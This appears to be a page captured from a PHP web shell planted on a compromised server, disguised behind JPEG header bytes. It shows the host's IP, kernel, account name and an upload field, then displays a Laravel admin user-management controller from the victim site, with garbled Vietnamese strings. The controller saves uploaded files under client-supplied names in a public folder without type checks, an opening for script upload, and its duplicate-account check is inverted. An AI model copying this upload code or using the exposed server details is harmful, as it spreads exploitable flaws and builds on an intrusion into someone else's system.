ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/domains/bellizeno.com/private_html/app/Http/Controllers/Admin/ |
Upload File : |
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Requests;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Users;
use App\Images;
use Input, File;
use Validator;
use Auth;
use DB,Hash;
class UsersController extends Controller
{
public function index()
{
$data = DB::table('user')->select()->first();
return view('admin.users.edit', compact('data'));
}
public function getAdmin()
{
$id_user=Auth::user()->id;
$data = DB::table('users')->select()->where('id', $id_user)->get()->first();
return view('admin.users.admin', compact('data'));
}
/** Phân quyá»n **/
public function listuse()
{
$data = DB::table('users')->select()->where('level',1)->paginate(20);
return view('admin.users.listuse', compact('data','nhan'));
}
public function khach()
{
$data = DB::table('users')->select()->where('level','>',1)->paginate(20);
return view('admin.users.khach', compact('data'));
}
public function edituse(Request $request)
{
$id= $request->get('id');
$data = DB::table('users')->select()->where('id', $id)->get()->first();
$data = Users::find($id);
if($request->get('hienthi')>0){
if($data->status == 1){
$data->status = 0;
}else{
$data->status = 1;
}
$data->update();
return redirect()->route('admin.users.listuse')->with('status','Cáºp nháºt thà nh công !');
}
return view('admin.users.edituse', compact('data'));
}
public function postedituse(Request $request)
{
$this->validate($request,
["txtName" => "required"],
["txtName.required" => "Bạn chưa nháºp tên"],
['txtPasswordNew' => 'min:8|confirmed'],
["txtPasswordNew.length" => "Máºt khẩu Ãt nhất 8 ký tá»±"],
["txtPassword" => "required"],
["txtPassword.required" => "Bạn chưa nháºp lại máºt khẩu"]
);
$id= $request->get('id');
$data = Users::find($id);
if(!empty($data)){
$data->name = $request->txtName;
if(!empty($request->txtPasswordNew)){
$data->password = Hash::make($request->txtPasswordNew);
}
$data->address = $request->txtAddress;
$data->phone = $request->txtPhone;
$data->email = $request->txtEmail;
$data->save();
return redirect('admin/users/edituse?id='.$data->id)->with('status','Cáºp nháºt thà nh công');
}else{
return redirect('admin/admin')->with('status','Cáºp nháºt dữ liệu lá»—i');
}
}
public function posuse(Request $request)
{
$id_user=Auth::user()->id;
$thanhvien = new Users;
$thanhvien->name = $request->name;
$thanhvien->username = $request->username;
$thanhvien->email = $request->email;
$thanhvien->phone = $request->phone;
$thanhvien->level = 1;
$thanhvien->password = Hash::make($request->password);
$thanhvien->remember_token = $request->_token;
$data = DB::table('users')->select()->where('email', $_REQUEST['email'])->where('username', $_REQUEST['username'])->first();
if(empty($data)){
return redirect()->route('admin.users.adduse')->with('status','Äã tồn tại tà i khoản và email như váºy, má»i bạn tạo lại tà i khoản khác!');
}else{
$thanhvien->save();
return redirect()->route('admin.users.listuse')->with('status','Thêm tà i khoản thà nh công!');
}
}
public function adduse()
{
$id_user=Auth::user()->id;
$data = DB::table('users')->select()->where('id', $id_user)->get()->first();
return view('admin.users.adduse', compact('data'));
}
public function deleteuse($id)
{
$data = Users::find($id);
$data->delete();
return redirect()->route('admin.users.listuse')->with('status','Xóa thà nh công');
}
/**
* Update the specified resource in storage.
*
* @param int $id
* @return Response
*/
public function updateinfo(Request $request)
{
$this->validate($request,
[
"txtName" => "required",
"txtPassword" => "required",
//'txtPasswordNew' => 'min:8|confirmed'
],
[
"txtName.required" => "Bạn chưa nháºp tên",
//"txtPasswordNew.length" => "Máºt khẩu Ãt nhất 8 ký tá»±",
"txtPassword.required" => "Bạn chưa nháºp lại máºt khẩu"
]
);
$id_user = Auth::user()->id;
//$user = DB::table('users')->select('id',$id_user)->first();
$data = Users::find($id_user);
if(!empty($data)){
$img = $request->file('fImages');
if(!empty($img)){
$path_img='upload/users';
$img_name=$img->getClientOriginalName();
$img->move($path_img,$img_name);
$data->photo = $img_name;
}
$data->name = $request->txtName;
if(!empty($request->txtPasswordNew)){
$data->password = Hash::make($request->txtPasswordNew);
}
$data->address = $request->txtAddress;
$data->phone = $request->txtPhone;
$data->email = $request->txtEmail;
// if($request->status=='on'){
// $product->status = 1;
// }else{
// $product->status = 0;
// }
$data->save();
return redirect('admin/users/info')->with('status','Cáºp nháºt thà nh công');
}else{
return redirect('admin')->with('status','Cáºp nháºt dữ liệu lá»—i');
}
}
public function getUserCustomer()
{
$data = DB::table('users')->select()->where('level', 2)->get();
return view('admin.users.listcustomer', compact('data'));
}
public function getEditCustommer(Request $request){
$id_user_customer = $request->get('id');
$data = DB::table('users')->select()->where('id', $id_user_customer)->where('level',2)->first();
if(!empty($data)){
$user = Users::find($data->id);
if($request->get('hienthi')>0){
if($user->status == 1){
$user->status = 0;
}else{
$user->status = 1;
}
$user->update();
return redirect('admin/users/customer')->with('status','Cáºp nháºt thà nh công !');
}
}
return view('admin.users.editcustomer', compact('data'));
}
public function postUserCustomer(Request $request){
$this->validate($request,
[
//'password'=>'required|min:6|max:20',
'name'=>'required',
'email'=>'required|email',
],
[
'name.required'=>'Vui lòng nháºp há» tên',
'email.required'=>'Vui lòng nháºp email',
'email.email'=>'Không đúng định dạng email',
//'email.unique'=>'Email đã có ngưá»i sá» dụng',
// 'password.required'=>'Vui lòng nháºp máºt khẩu',
// 'password.min'=>'Máºt khẩu Ãt nhất 6 kà tá»±',
// 'password.max'=>'Máºt khẩu nhiá»u nhất 20 kà tá»±'
]);
//$user = DB::table('users')->select('id',$id)->first();
$id= $request->get('id');
$data = Users::find($id);
if(!empty($data)){
$img = $request->file('fImages');
if(!empty($img)){
$path_img='upload/users';
$img_name=time().'_'.$img->getClientOriginalName();
$img->move($path_img,$img_name);
$data->photo = $img_name;
}
$data->name = $request->name;
// if(!empty($request->password_new)){
// $data->password = Hash::make($request->password_new);
// }
$data->address = $request->address;
$data->phone = $request->phone;
$data->email = $request->email;
if($request->status=='on'){
$data->status = 1;
}else{
$data->status = 0;
}
$data->save();
return redirect('admin/users/customer/edit?id='.$id)->with('status','Cáºp nháºt thà nh công');
}else{
return redirect('admin')->with('status','Cáºp nháºt dữ liệu lá»—i');
}
}
public function getDeleteUserCustomer($id){
$user = Users::findOrFail($id);
$user->delete();
File::delete('upload/hinhanh/'.$user->photo);
return redirect('admin/users/customer')->with('status','Xóa thà nh công');
}
public function getDeleteListUserCustomer($id){
$listid = explode(",",$id);
foreach($listid as $listid_item){
$news = Users::findOrFail($listid_item);
$news->delete();
File::delete('upload/hinhanh/'.$news->photo);
}
return redirect('admin/users/customer')->with('status','Xóa thà nh công');
}
}